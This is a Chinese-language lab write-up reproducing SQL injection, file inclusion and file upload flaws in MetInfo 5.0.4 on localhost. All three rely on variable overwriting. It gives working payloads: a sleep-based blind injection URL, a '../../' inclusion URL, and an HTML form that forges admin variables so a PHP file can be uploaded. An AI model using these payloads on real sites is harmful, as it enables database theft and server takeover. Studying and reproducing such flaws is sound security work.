metinfov5.0.4漏洞复现
最近学习,metinfov5.0.4漏洞复现,个人感觉这次的漏洞还是比较有意思的,为什么呢?原因是这次的3个漏洞都跟一个漏洞有关,这个漏洞就是变量覆盖覆盖漏洞.
简单讲就是用户传进去的值变成了一个新的变量覆盖了原代码的变量,从而被我们利用.
产生的原因是因为编程人员在进行变量传值时,使用了双(“$$”)符号 .
下面开始漏洞复现
测试环境:
phpstudy #一个集成环境包含php+mysql
php源码(cms)
metinfov5.0.4 #源码大家可以去网上下载
测试目标:
三个经典漏洞:
SQLi(注入)
文件包含
文件上传
漏洞位置:
SQLi 注入漏洞位置:
http://localhost/metinfoV5.0.4/about/show.php?lang=cn&id=22
POC:
http://localhost/metinfoV5.0.4/about/show.php?lang=cn&id=22 and if(ord(substr(database(),1,1))=109,sleep(5),0) –+
此处采用盲注,POC的语句解释为,首先获取数据库名称,然后截取第一个字符,将截取到的字符转换为ASCII码与猜想的ASCII码做比较,如果满足条件,也是说我们猜想正确,沉睡5秒,以此来爆出库名,之后以此类推,爆表,字段,内容等等,当我们得到第一个字符后,我们可以进入数据库和我们的库名进行比较,发现第一个字符一致,证明注入成功.
文件包含漏洞位置:
http://localhost/metinfoV5.0.4/about/index.php
POC: http://localhost/metinfoV5.0.4/about/index.php?fmodule=7&module=../../phpinfo.php
为了帮助我们更好的理解,我们可以先在www目录下写一个phpinfo.php的文件,接着使用文件包含进行打开,发现成功打开,证明了此处存在文件包含漏洞.
文件上传漏洞位置:
http://localhost/metinfoV5.0.4/admin/include/uploadify.php
为了便于利用,我们把它写成一个HTML文件:
<meta charset="utf-8">
<form
enctype="multipart/form-data"
method="post"
name="myfrom"
action="http://localhost/MetInfoV5.0.4/admin/include/uploadify.php?tablepre=xx&met_lang=met_lang&lang=cn&met_admin_table=met_admin_table%20where%20usertype=3%23&metinfo_admin_id=1&metinfo_admin_pass=2&type=upfile&met_file_format=jpg|pphphp"
>
<input name="Filedata" type="file" size=20>
<input type="submit" name="Submit" value="提交信息">
</form>
之后我们只要打开写好的html文件选择.php格式的文件上传就可以了!上传成功后,我们进入该网站的upload/file/目录下,发现我们的上传文件,证明,文件上传漏洞实现.
到此,漏洞复现基本完成,剩下的就是漏洞产生的原因了,由于时间有限,就不一一分析原因了,大家有兴趣的可以去分析源代码,来找出产生的原因.